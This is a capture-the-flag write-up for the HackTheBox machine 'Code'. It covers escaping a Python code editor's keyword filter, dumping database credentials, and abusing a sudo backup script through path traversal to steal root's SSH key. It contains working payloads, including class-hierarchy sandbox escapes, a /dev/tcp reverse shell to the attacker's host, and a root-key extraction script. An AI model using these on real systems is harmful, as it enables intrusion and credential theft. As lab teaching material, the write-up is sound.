12 min read

[HackTheBox] Code

[Machine Details]

Machine Name Difficulty OS Release Date Machine Author
Code Easy Linux March 23, 2025 FisMatHack

🧩 About Code

Code is an easy-difficulty Linux machine that begins with the discovery of a Python Code Editor, which can be abused to gain unauthorized access to a SQLAlchemy database. This access allows the extraction of SSH credentials for a low-privileged user. Further enumeration reveals a sudo-executable backup script (/usr/bin/backy.sh) that attempts to sanitize task.json using jq, but fails due to a permission issue which restricts write access to world-writable directories and regular files not owned by the writing user — a behavior influenced by changes in Ubuntu 20.04. By crafting a malicious task.json and exploiting the flawed sanitization logic, it becomes possible to bypass directory restrictions, archive the /root/ directory, and extract the root user's private SSH key, resulting in full system compromise.

[Reconnaissance]

💻 NMAP Scan

A targeted NMAP scan against the machine code.htb revealed two ports:

Nmap scan report for code.htb (10.129.248.177)
Host is up (0.49s latency).

PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.12
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp  open   http       Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
  • Port 22 (SSH)
    The SSH service is running Open SSH 8.2p1, a common version found on Ubuntu systems. This could potentially be used for remote access if valid credentials or a private SSH key can be obtained.
  • Port 5000 (HTTP)
    A web service is running behind the Gunicorn 20.0.4 WSGI HTTP Server, typically used to server Python-based web applications. The HTTP title suggests the service is a Python Code Editor, which may potentially allow user interaction with backend code or even code execution, depending on how securely it is implemented.

🕵️ Manual Inspection

  • Software Technologies
    • The application is hosted behind Gunicorn 20.0.4, as identified via the Server response header.
    • A third-party library, Ace Editor (ace.min.js), is loaded by the page. ACE stands for Ajax.org Cloud9 Editor and serves as a standalone in-browser code editor.
    • The editor is using version 1.4.12, and it includes mode-python.js, which configures syntax highlighting and behavior for Python code. This indicates the editor is tailored specifically for Python development.
  • Web Functionality
    • POST /run_code
      • Users can input and execute Python code via this endpoint.
      • If the server directly executes user-submitted code, this could lead to a Remote Code Execution (RCE) vulnerability, especially if there is no proper sandboxing or input validation.
    • POST /register
      • Enables user registration, implying the presence of a backend database for storing user credentials or profiles.
    • POST /login
      • Handles user authentication, which suggests session handling is implemented, which could be a potential attack surface for session management vulnerabilities, such as session fixation.
    • POST /save_code
      • Authenticated users can save code snippets, which indicates storage functionality, and the implementation may introduce risks if data is not properly isolated per user.
    • GET /?code_id={codeId}
      • Authenticated users can retrieve previously saved code using the code_id parameter.
      • Since the parameter is user-controlled, this may be vulnerable to Insecure Direct Object Reference (IDOR), allowing unauthorized access to other users’ code.
    • POST /codes
      • Authenticated users can delete saved code by providing a code_id in the request body.
      • Like the retrieval endpoint, this is likely vulnerable to IDOR if proper authorization checks are not enforced on the server-side.

[Exploitation]

🎯 Objective

Based on the insights gathered during manual inspection, the primary target for exploitation is the Python Code Editor. The goal is to achieve Remote Code Execution (RCE) or extract sensitive information that could lead to further system access.

👣 Attack Vectors

Two potential avenues for exploitation were identified:

  1. Remote Code Execution
    By submitting crafted payloads through the /run_code endpoint, we aim to execute arbitrary Python code on the server. This can be leveraged to:

    - Spawn a reverse shell.
    - Read sensitive internal files (e.g., id_rsa, .bash_history, app.py).
    - Enumerate the application’s logic and server environment.

    This approach resembles Server-Side Template Injection (SSTI) in the way it abuses Python internals, such as class traversal (__class__, __subclasses__) and dynamic imports to bypass restrictions.
  2. Credential Extraction from the Backend Database
    By exploiting code execution capabilities, another objective is to access the database (if accessible from the same environment) and dump user credentials. The aim here is to:

    - Identify any default or pre-generated accounts.
    - Use recovered credentials to authenticate via SSH or other services if exposed.

🛡️ Server-Side Filtering Observations

During testing, it became apparent that the application employs keyword-based restrictions (deny listing/block listing) to block potentially dangerous operations. With that, it is unclear whether the filtering targets:

    • Specific keywords like import, eval, exec.
    • Modules like os, socket, or subprocess.
    • Code expressions such as .read, .send, .connect.

This security measures adds a layer of complexity, as there is no clear feedback on which part of the code is being blocked, making it difficult to tailor bypass payloads. This kind of blacklisting often leads to security through obscurity, which can still be bypassed with creative obfuscation or use of less-common Python features.

🛠️ Framework/Database Detection

Before attempting to extract credentials, let's first identify which Python framework and database the application uses. Knowing the framework can guide assumptions about common libraries and conventions, such as database access patterns.

The following Python snippet was used to check the loaded modules at runtime and infer the framework.

def detect_framework():
    return next((fw for fw in [
        "django", "cherrypy", "pyramid", "grok", "turbogears", 
        "web2py", "flask", "bottle", "tornado", "bluebream"
    ] if fw in sys.modules), None)

print("Detected framework:", detect_framework() or "None")

The output revealed that the application is using Flask.

To streamline the process, I consulted ChatGPT to identify the most commonly used SQL libraries in Flask applications. It suggested SQLAlchemy, which aligns with standard Flask development practices.

To verify this, we can inspect the global namespace for relevant objects. One way is to print the entire dictionary of global variables using:

print(globals())

Or, more precisely, we can filter out class definitions by running:

print({name: obj for name, obj in globals().items() if isinstance(obj, type)})

From this, we confirmed that the application uses SQLAlchemy and defines two key classes: User and Code.

[Initial Access]

🗝️ Credential Extraction

With the knowledge about framework and database, we can now proceed to retrieve data from these classes. There are several ways to extract stored credentials from the backend database:

✅ Option 1 – Using the SQLAlchemy Session Object

users = db.session.query(User).all()
for u in users:
    print(f"{u.username}:{u.password}")

✅ Option 2 – Fetching Data based on Specific Fields Only

users = User.query.with_entities(User.username, User.password).all()
for u in users:
	print(f"{u.username}:{u.password}")

✅ Option 3 – Querying Directly via Flask-SQLAlchemy

users = User.query.all()
for u in users:
    print(f"{u.username}:{u.password}")

There may be additional or custom ways to extract credentials depending on how the developer structured the code.

👨‍💻 Logging In as martin

After getting the credentials, I then proceed in cracking the hashes using CrackStation returning us the decoded password per user.

Using the decoded password, I was able to authenticate as martin in the target machine.

[Privilege Escalation]

While enumerating the files in martin’s home directory, a folder named backups was discovered. Inside this folder were two notable files: a task.json configuration file and a corresponding archive file.

📄 Inspecting task.json

The contents of the task.json file reveal that it acts as a configuration input for a backup script:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

The structure of the file indicates that it defines:

  • A list of directories to archive (directories_to_archive)
  • A destination directory where the resulting archive should be saved (destination)
  • A list of file or folder to exclude from the backup (exclude)

Basically, this explains the presence of the archive file we discovered inside the backups folder—it is generated by this backup task configuration.

🔍 Discovering a Privileged Script

Upon further inspection, it was discovered that martin has sudo permissions to execute a specific script without a password:

This bash script is responsible for processing an input JSON file (task.json).

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Script Breakdown:

  • Ensures one argument is passed (task.json) or it exits with usage instructions.
  • Confirms that the specified file exists before proceeding.
  • Uses jq to remove any ../ path traversal attempts from the .directories_to_archive array.
  • Only allows directories that begin with /var/ or /home/ to be archived. Any other paths cause the script to terminate with an error.
  • The sanitized content stored in the updated_json variable is written back to the original task.json file, overwriting it with the cleaned version.
  • Finally, the script calls /usr/bin/backy with the file from the argument variable to perform the archiving.

⚔️ Exploiting Backy

In the /usr/bin/backy.sh script, we observed that the final command calls /usr/bin/backy, which is a binary, not to be confused with the script itself (/usr/bin/backy.sh), which is a Bash script.

During exploitation, I keep getting the error message /usr/bin/backy.sh: line 19: /tmp/task.json: Permission denied, which happens due to another important detail in the script:

/usr/bin/echo "$updated_json" > "$json_file"

At first glance, the command seems harmless: it uses echo to write the sanitized content of $updated_json variable into $json_file, which points to task.json. However, the script fails with a Permission Denied error on Ubuntu 20.04 and later.

The script is executed using sudo, so the command /usr/bin/echo "$updated_json" > "$json_file" runs under sudo. But here's a catch: if the $json_file is not owned by the root user then it will result into a Permission Denied error.

This is a common pitfall with using sudo and output redirection for Ubuntu 20.04 and later versions due to changes in the kernel parameter fs.protected_regular, which restricts write access to world-writable directories and regular files not owned by the writing user.

Read more about this update here:

namei: allow restricted O_CREAT of FIFOs and regular files

Disallows open of FIFOs or regular files not owned by the user in world
writable sticky directories, unless the owner is the same as that of the
directory or the file is opened without the O_CREAT flag. The purpose
is to make data spoofing attacks harder. This protection can be turned
on and off separately for FIFOs and regular files via sysctl, just like
the symlinks/hardlinks protection.
namei: allow restricted O_CREAT of FIFOs and regular files - kernel/git/torvalds/linux.git - Linux kernel source tree
Group permissions for root not working in /tmp
I experienced a strange behaviour in my /tmp directory. Although a user belongs to a group that has permissions to read/write a file, he cannot do so. In this example, I create a new file /tmp/test…

With that in mind, the script fails to overwrite the task.json file with the sanitized content (which would strip out any ../ directory traversal). However, the script does not terminate at this point as it continues execution and eventually passes the original and unsanitized task.json to /usr/bin/backy.

This effectively bypasses the intended input validation, allowing us to inject arbitrary paths using ../. By crafting a malicious task.json that includes something like /home/../root/, we were able to trick the script into archiving the /root/ directory.

To streamline this exploit, I wrote a script that automates the process of:

  1. Creating a modified task.json file in the /tmp directory with a ../ path to /root/.
  2. Triggering the vulnerable script with sudo.
  3. Extracting the archived contents to retrieve /root/.ssh/id_rsa.
#!/bin/bash

mkdir -p /tmp/backup
echo "[+] Created /tmp/backup"

cat <<EOF > /tmp/task.json
{
  "destination": "/tmp/backup",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/../root/"
  ]
}
EOF
echo "[+] Created task.json with modified configuration"

echo "[+] Running /usr/bin/backy.sh"
sudo /usr/bin/backy.sh /tmp/task.json

echo "[+] Extracting all .tar.bz2 files to /tmp/backup"
for archive in /tmp/backup/code*.tar.bz2; do
  [ -e "$archive" ] || continue
  tar -xjf "$archive" -C /tmp/backup
  echo "    - Extracted: $archive"
done

echo "[+] Searching for SSH private key (id_rsa) in /tmp/backup"
ssh_key=$(find /tmp/backup -type f -name "id_rsa" 2>/dev/null | head -n 1)
if [[ -n "$ssh_key" ]]; then
  echo "---- id_rsa ----"
  cat "$ssh_key"
  echo "----------------"
else
  echo "[!] id_rsa not found."
fi

Running this script yields the private SSH key of the root user.

(Note the output: /usr/bin/backy.sh: line 19: /tmp/task.json: Permission denied, which is a direct result of the issue discussed above.)

To fully complete the pwning process, we enhanced our script to automate the process of authenticating as the root user via SSH and retrieve both the user.txt and root.txt flags.

if [[ -n "$ssh_key" ]]; then
  cp "$ssh_key" /tmp/root_id_rsa
  chmod 600 /tmp/root_id_rsa
  echo "[+] SSH private key saved to /tmp/root_id_rsa and permissions set"
else
  echo "[!] Cannot proceed — SSH key not found"
  exit 1
fi

echo "[+] Attempting to SSH into root@localhost to grab flags"
ssh -o StrictHostKeyChecking=no -i /tmp/root_id_rsa root@localhost '
  echo "[+] Connected as root"
  echo "[+] User flag:"
  cat /home/*/user.txt 2>/dev/null || echo "[!] User flag not found"

  echo "[+] Root flag:"
  cat /root/root.txt 2>/dev/null || echo "[!] Root flag not found"
'

[Intended Solutions]

🔓 Initial Access

The initial foothold can be obtained via Remote Code Execution (RCE) through the Python Code Editor feature. By submitting a malicious Python script, you can execute arbitrary commands on the underlying system.

The /run_code endpoint filters for specific blacklisted keywords that might prevent direct use of modules like os, subprocess, or dangerous functions like eval and exec.

def  run_code():
    code = request.form['code']
    old_stdout = sys.stdout
    redirected_output = sys.stdout = io.StringIO()
    try:
        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
            if keyword in code.lower():
                return jsonify({'output': 'Use of restricted keywords is not allowed.'})
        exec(code)
        output = redirected_output.getvalue()
    except Exception as e:
        output = str(e)
    finally:
        sys.stdout = old_stdout
    return jsonify({'output': output})

However, you can still execute shell commands by accessing subprocess.Popen through Python's class hierarchy. Here's how:

Use this snippet below to enumerate all subclasses of the base object class and find the index of subprocess.Popen:

for i, cls in enumerate("".__class__.__bases__[0].__subclasses__()):
    print(f"{i}: {cls}")

Once you've found the correct index, you can run shell commands like this:

print("".__class__.__bases__[0].__subclasses__()[317](
    ['id'],
    stdout=-1,
    stderr=-1
).communicate()[0].decode())

The .communicate()[0].decode() is an alternative for the restricted .read() and still captures the command output.

You can use the same technique to spawn a reverse shell.

"".__class__.__bases__[0].__subclasses__()[317](
    ['/bin/bash', '-c', 'bash -i >& /dev/tcp/10.10.X.X/443 0>&1'],
    stdout=-1,
    stderr=-1
)

Then retrieve the contents of database.db, which contains Martin's credentials and use it to access Martin's shell.

🚀 Privilege Escalation

To escalate privileges, you can modify the task.json configuration inside the /home/martin/backups. A minimal example is shown below:

{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//root/"
  ]
}